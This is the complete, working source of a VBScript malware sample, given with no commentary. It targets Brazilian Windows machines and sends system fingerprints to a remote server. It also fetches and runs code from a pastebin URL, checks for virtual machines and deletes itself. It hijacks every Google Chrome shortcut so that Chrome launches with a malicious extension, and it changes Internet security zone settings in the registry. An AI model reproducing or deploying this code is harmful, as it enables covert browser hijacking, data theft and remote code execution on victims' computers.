VBScript malware

"On Error Resume Next
variavel2numerox = "113"
set variavel1 = wScript.createObject("WScript.Shell")
variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")
DIM fso
Set fso = CreateObject("Scripting.FileSystemObject")
If (fso.FileExists(variavel2 & "\" & variavel2numerox & "x")) Then
discardScript()
WScript.Quit()
Else
Set objFSO=CreateObject("Scripting.FileSystemObject")
outFile=variavel2 & "\" & variavel2numerox & "x"
Set objFile = objFSO.CreateTextFile(outFile,True)
objFile.Write "closed" & vbCrLf
objFile.Close
xbits = "0"
Set dtmConvertedDate = CreateObject("WbemScripting.SWbemDateTime")
Set SystemSet = GetObject("winmgmts:").InstancesOf ("Win32_OperatingSystem")
for each System in SystemSet
variavel2a = System.Caption
variavel2b = System.OSLanguage
variavel2d = System.CSName
dtmConvertedDate.Value = System.InstallDate
dtmInstallDate = dtmConvertedDate.GetVarDate
variavel2e = dtmInstallDate
variavel2f = System.RegisteredUser
variavel2g = System.CountryCode
variavel2h = System.version
next
strComputer = "."
strComputer2 = "\"
strComputer3 = ":"
strfinal = "winmgmts"& strComputer3 & strComputer2 & strComputer2 & strComputer & strComputer2 &"root" & strComputer2 & "cimv2"
Set objWMIService =  GetObject(strfinal)
Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")
For Each objComputer in colSettings
variavel2i2 = objComputer.Manufacturer
variavel2j2 = objComputer.Model
Next
Set colSettings = objWMIService.ExecQuery ("Select * from Win32_Processor")
For Each objProcessor in colSettings
variavel2l2 = objProcessor.Description
Next
Function HTTPPost(sUrl, sRequest)
set oHTTP = CreateObject("Microsoft.XMLHTTP")
oHTTP.open "POST", sUrl,false
oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
oHTTP.setRequestHeader "Content-Length", Len(sRequest)
oHTTP.send sRequest
HTTPPost = oHTTP.responseText
End Function
set variavel32x = wScript.createObject("WScript.Shell")
variavel32 = variavel32x.expandEnvironmentStrings("%programfiles%")
set variavel64x = wScript.createObject("WScript.Shell")
variavel64 = variavel32x.expandEnvironmentStrings("%programfiles(x86)%")
DIM fsoyx2
Set fsoyx2 = CreateObject("Scripting.FileSystemObject")
If (fsoyx2.FileExists(variavel32 & "\Google\Chrome\Application\chrome.exe")) Then
xbits =  variavel32 & "\Google\Chrome\Application\Chrome.exe, 0"
End If
If (fsoyx2.FileExists(variavel64 & "\Google\Chrome\Application\chrome.exe")) Then
xbits =  variavel64 & "\Google\Chrome\Application\Chrome.exe, 0"
End If
DIM fsoy
Set fsoy = CreateObject("Scripting.FileSystemObject")
If (fsoy.FolderExists("c:\Program Files (x86)")) Then
quantosbits = "64Bits"
Else
quantosbits = "32Bits"
End If
vartotal = variavel2i2 & "|" & variavel2j2 & "|" & variavel2l2
IF (variavel2g = "55") Then
sUrl = "http://blogrevendedores.info/xlog5.php?logins=0a"
sRequest = "host=" & variavel2d & "&status=[" & variavel2numerox & "]" & variavel2a & "(" & quantosbits & ")(" & variavel2b & ")(" & variavel2e & ")(" & variavel2f & ")(" & variavel2g & ")(" & variavel2h & ")" & vartotal  & "&globo=H74frxs&bk=-"
HTTPPost sUrl, sRequest
End If
IF (variavel2g = "55") and not   (xbits = "0")  Then
set objshell = createobject("wscript.shell")
runbat2 = variavel2 & "\b.bat"
Set objgrux=CreateObject("Scripting.FileSystemObject")
outFile= runbat2
Set objFile = objgrux.CreateTextFile(outFile,True)
objFile.Write "@echo off" & vbCrLf
objFile.Write "del /f /s /q ""%userprofile%\chrome""" & vbCrLf
objFile.Write "rd /s /q ""%userprofile%\chrome""" & vbCrLf
objFile.Write "rmdir /s /q ""%userprofile%\chrome""" & vbCrLf
objFile.Write "del /f ""%appdata%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""%appdata%\Microsoft\Internet Explorer\Quick Launch\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""%userprofile%\Desktop\Google Chrome2.LNK""" & vbCrLf
objFile.Write "del /f ""%userprofile%\Desktop\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""C:\Documents and Settings\All Users\Desktop\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""C:\Users\Public\Desktop\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""C:\Documents and Settings\All Users\Desktop\Google Chrome2.LNK""" & vbCrLf
objFile.Write "del /f ""%programdata%\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""%programdata%\Microsoft\Windows\Start Menu\Programs\Google Chrome.LNK""" & vbCrLf
objFile.Write "del /f ""%userprofile%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\*.vbs""" & vbCrLf
objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf
objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf
objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf
objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf
objFile.Write "REG ADD ""HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4"" /v 1407 /t REG_DWORD /d 0 /f" & vbCrLf
objFile.Write "del /f """ & runbat2 & """" & vbCrLf
objFile.Close
objshell.run "cmd.exe /C """ & runbat2 & """",vbhide
WScript.Sleep(20000)
set variavel1 = wScript.createObject("WScript.Shell")
variavel2 = variavel1.expandEnvironmentStrings("%USERPROFILE%")
sUrl = "http://blogrevendedores.info/xlog5.php?logins=did&s=Ch"
sRequest = "host=" & variavel2d & "&bk=-"
HTTPPost sUrl, sRequest
Dim su, source_str
source_str = "aeiou"
Dim variavel3, variavel16, variavel4, variavel5, variavel4b
variavel3 = variavel2
variavel6 =  ""
variavel6b =  StrReverse("-")
su = Mid(source_str, 2, 1)
variavel5 = variavel6  & "." & su & "x" & su
variavel4 = variavel3 & "\" & variavel5
variavel4 = variavel3 & "\" & StrReverse("piz.tgu")
variavel9 = variavel4
Set variavel16 = CreateObject("Scripting.FileSystemObject")
dim variavel7,variavel8
dim variavel7b,variavel8b,variavel9b
su = Mid(source_str, 3, 1)
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colSettings = objWMIService.ExecQuery ("Select * from Win32_ComputerSystem")
For Each objComputer in colSettings
xxx1 = objComputer.Manufacturer
xxx2 = objComputer.Model
Next
Set colItems = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration",,48)
For Each objItem in colItems
xxx3 = xxx3 & objItem.Caption
xxx4 = "[" & variavel2numerox & "]" & objItem.Description
Next
sUrl1 = "http://blogrevendedores.info/xlogx.php"
sRequest1 = "x=1l&info=" & xxx1 & " | " & xxx2 & "&an=" & xxx3 & xxx4
xxx5 = HTTPPost(sUrl1, sRequest1)
variavel8 = xxx5
If InStr(variavel8, "bit") > 0 Then
sUrl = "http://blogrevendedores.info/xlog5.php?logins=did&s=VM"
sRequest = "host=" & variavel2d & "&bk=-"
HTTPPost sUrl, sRequest
WScript.Quit()
End If
Dim max,min
max=10000
min=1
Randomize
Int((max-min+1)*Rnd+min)
Set variavel16 = CreateObject("Scripting.FileSystemObject")
If variavel16.FileExists(variavel9) Then
variavel16.DeleteFile(variavel9)
End If
xsUrl = "http://pastebin.com/raw/kXaRaqSu"
xsRequest = ""
zzz = HTTPPost(xsUrl, xsRequest)
xxx = zzz
Sub Includex
ExecuteGlobal xxx
End Sub
Includex
MySub variavel8,variavel9
Set variavel12 = CreateObject("Scripting.FileSystemObject")
If variavel12.FileExists(variavel9) Then
sUrl = "http://blogrevendedores.info/xlog5.php?logins=did&s=B"
sRequest = "host=" & variavel2d & "&bk=-"
HTTPPost sUrl, sRequest
ZipFile = variavel9
ExtractTo = variavel2
Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FolderExists(ExtractTo) Then
fso.CreateFolder(ExtractTo)
End If
set objShell = CreateObject("Shell.Application")
set FilesInZip=objShell.NameSpace(ZipFile).items
objShell.NameSpace(ExtractTo).CopyHere(FilesInZip)
Set fso = Nothing
Set objShell = Nothing
End if
If variavel16.FileExists(variavel9) Then
Dim variavel15
If variavel16.FileExists(variavel2 & "\Chrome\1.9.6\6.js" ) Then
sUrl = "http://blogrevendedores.info/xlog5.php?logins=did&s=OK"
sRequest = "host=" & variavel2d  & "&bk=-"
HTTPPost sUrl, sRequest
End if
set gtx1 = wScript.createObject("WScript.Shell")
gtx2 = gtx1.expandEnvironmentStrings("%USERPROFILE%")
Dim pixixito1,pixixito2,pixixito3,pixixito4
Function RandomString( ByVal strLen )
Dim str, min, max
Const LETTERS = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJLMNKYWOPQRSTUVXZ"
min = 1
max = Len(LETTERS)
Randomize
For i = 1 to strLen
str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
Next
RandomString = str
End Function
Function Randominterger( ByVal strLen )
Dim str, min, max
Const LETTERS = "1234567890"
min = 1
max = Len(LETTERS)
Randomize
For i = 1 to strLen
str = str & Mid( LETTERS, Int((max-min+1)*Rnd+min), 1 )
Next
Randominterger = str
End Function
dim yttt
yttt = Randominterger(15)
Function trocaridc( ForReadingx)
const ForReading = 1
const ForWriting = 2
strFileName = gtx2 & "\Chrome\1.9.6\" & ForReadingx & ".js"
strOldText = "var id = ""-"";"
strNewText = "var id = """ & yttt & """;"
Set objgru = CreateObject("Scripting.FileSystemObject")
Set objFile = objgru.OpenTextFile(strFileName, ForReading)
strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)
Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
End Function
Function trocar( ForReadingx)
dim ttt
const ForReading = 1
const ForWriting = 2
strFileName = gtx2 & "\Chrome\1.9.6\manifest.json"
strOldText = ForReadingx
ttt = RandomString(6)
strNewText = ttt & ".js"
Dim gru
Set gru = WScript.CreateObject("Scripting.FileSystemObject")
gru.MoveFile gtx2 & "\Chrome\1.9.6\" & strOldText, gtx2 & "\Chrome\1.9.6\" & strNewText
Set objgru = CreateObject("Scripting.FileSystemObject")
Set objFile = objgru.OpenTextFile(strFileName, ForReading)
strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)
Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
End Function
Function trocarbmp( ForReadingx)
dim ttt
const ForReading = 1
const ForWriting = 2
strFileName = gtx2 & "\Chrome\1.9.6\manifest.json"
strOldText = ForReadingx
ttt = RandomString(10)
strNewText = ttt & ".bmp"
Dim gru
Set gru = WScript.CreateObject("Scripting.FileSystemObject")
gru.MoveFile gtx2 & "\Chrome\1.9.6\iconos\" & strOldText, gtx2 & "\Chrome\1.9.6\iconos\" & strNewText
Set objgru = CreateObject("Scripting.FileSystemObject")
Set objFile = objgru.OpenTextFile(strFileName, ForReading)
strText = objFile.ReadAll
objFile.Close
strNewText = Replace(strText, strOldText, strNewText)
Set objFile = objgru.OpenTextFile(strFileName, ForWriting)
objFile.WriteLine strNewText
objFile.Close
End Function
DIM grut
Set grut = CreateObject("Scripting.FileSystemObject")
If (grut.FileExists(gtx2 & "\Chrome\1.9.6\6.js")) Then
trocaridc("1")
trocaridc("2")
trocaridc("3")
trocar("1.js")
trocar("2.js")
trocar("3.js")
trocarbmp("1.bmp")
End If
pixixito1 = RandomString(5)
pixixito2 = RandomString(5)
pixixito3 = RandomString(5)
pixixito4 = RandomString(5)
runvbs = gtx2 & "\" & RandomString(5) & ".vbs"
runbat = gtx2 & "\" & RandomString(5) & ".bat"
set gtx1a = wScript.createObject("WScript.Shell")
gtappdata = gtx1a.expandEnvironmentStrings("%appdata%")
set gtx1b = wScript.createObject("WScript.Shell")
gtuserprofile = gtx1b.expandEnvironmentStrings("%userprofile%")
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\"
oLink.Save
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = gtappdata & "\Microsoft\Internet Explorer\Quick Launch\"
oLink.Save
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = gtuserprofile & "\Desktop\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = gtuserprofile &  "\Desktop"
oLink.Save
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\Documents and Settings\All Users\Menu Iniciar\Programas\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = "C:\Documents and Settings\All Users\Menu Iniciar\Programas"
oLink.Save
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\"
oLink.Save
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.LNK"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = """" & runvbs & """"
oLink.IconLocation = xbits
oLink.WorkingDirectory = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\"
oLink.Save
Set objgrux=CreateObject("Scripting.FileSystemObject")
outFile= runvbs
Set objFile = objgrux.CreateTextFile(outFile,True)
objFile.Write "set objshell = createobject(""wscript.shell"")" & vbCrLf
objFile.Write "objshell.run ""cmd.exe /C """"" & runbat & """"""",vbhide" & vbCrLf
objFile.Close
Set objShell5 = WScript.CreateObject("WScript.Shell")
Cami2 = objShell5.ExpandEnvironmentStrings("%userprofile%")
bonde1kilo="Wind" & "ows\syste" & "m32"
segundafeira="userpr" & "ofile"
nossasvidas="prog" & "ramfi" & "les"
Set objgru=CreateObject("Scripting.FileSystemObject")
outFile= runbat
Set objFile = objgru.CreateTextFile(outFile,True)
objFile.Write "@echo off" & vbCrLf
objFile.Write "set " & pixixito1 & "=G" & "oo" & vbCrLf
objFile.Write "set " & pixixito2 & "=%" & pixixito1 & "%g" & "le" & vbCrLf
objFile.Write "set " & pixixito3 & "=c" & "hr" & vbCrLf
objFile.Write "set " & pixixito4 & "=%" & pixixito3 & "%om" & "e" & vbCrLf
objFile.Write "cd ""%" & segundafeira & "%""" & vbCrLf
objFile.Write "C:\" & bonde1kilo & "\rmdir /s /q ""%" & segundafeira & "%\ext""" & vbCrLf
objFile.Write "C:\" & bonde1kilo & "\mkdir ext" & vbCrLf
objFile.Write "set s=%random%" & vbCrLf
objFile.Write "set fs=""%" & segundafeira & "%\ext\%s%""" & vbCrLf
objFile.Write "C:\" & bonde1kilo & "\taskkill -f -im xcopy.exe" & vbCrLf
objFile.Write "C:\" & bonde1kilo & "\xcopy /I /S ""%" & segundafeira & "%\%" & pixixito4 & "%\1.9.6"" %fs%" & vbCrLf
objFile.Write "C:\" & bonde1kilo & "\taskkill -f -im %" & pixixito4 & "%.exe" & vbCrLf
objFile.Write "IF EXIST ""%" & nossasvidas & "(x86)%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.e" & "xe"" (" & vbCrLf
objFile.Write """%" & nossasvidas & "(x86)%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.exe"" --load-extension=""%" & segundafeira & "%\ext\%s%""" & vbCrLf
objFile.Write "ECHO ""x86""" & vbCrLf
objFile.Write ") ELSE (" & vbCrLf
objFile.Write """%" & nossasvidas & "%\%" & pixixito2 & "%\%" & pixixito4 & "%\Application\%" & pixixito4 & "%.exe"" --load-extension=""%" & segundafeira & "%\ext\%s%""" & vbCrLf
objFile.Write "ECHO ""NORMAL""" & vbCrLf
objFile.Write ")" & vbCrLf
objFile.Close
Set variavel16 = CreateObject("Scripting.FileSystemObject")
If variavel16.FileExists(variavel9) Then
variavel16.DeleteFile(variavel9)
End If
Set objShell = Nothing
Set objshell = createobject("wscript.shell")
objshell.run "cscript """ & runvbs & """",vbhide
End If
Set variavel15 = Nothing
End If
End If
Function discardScript()
Set objFSO = CreateObject("Scripting.FileSystemObject")
strScript = Wscript.ScriptFullName
objFSO.DeleteFile(strScript)
End Function
discardScript()"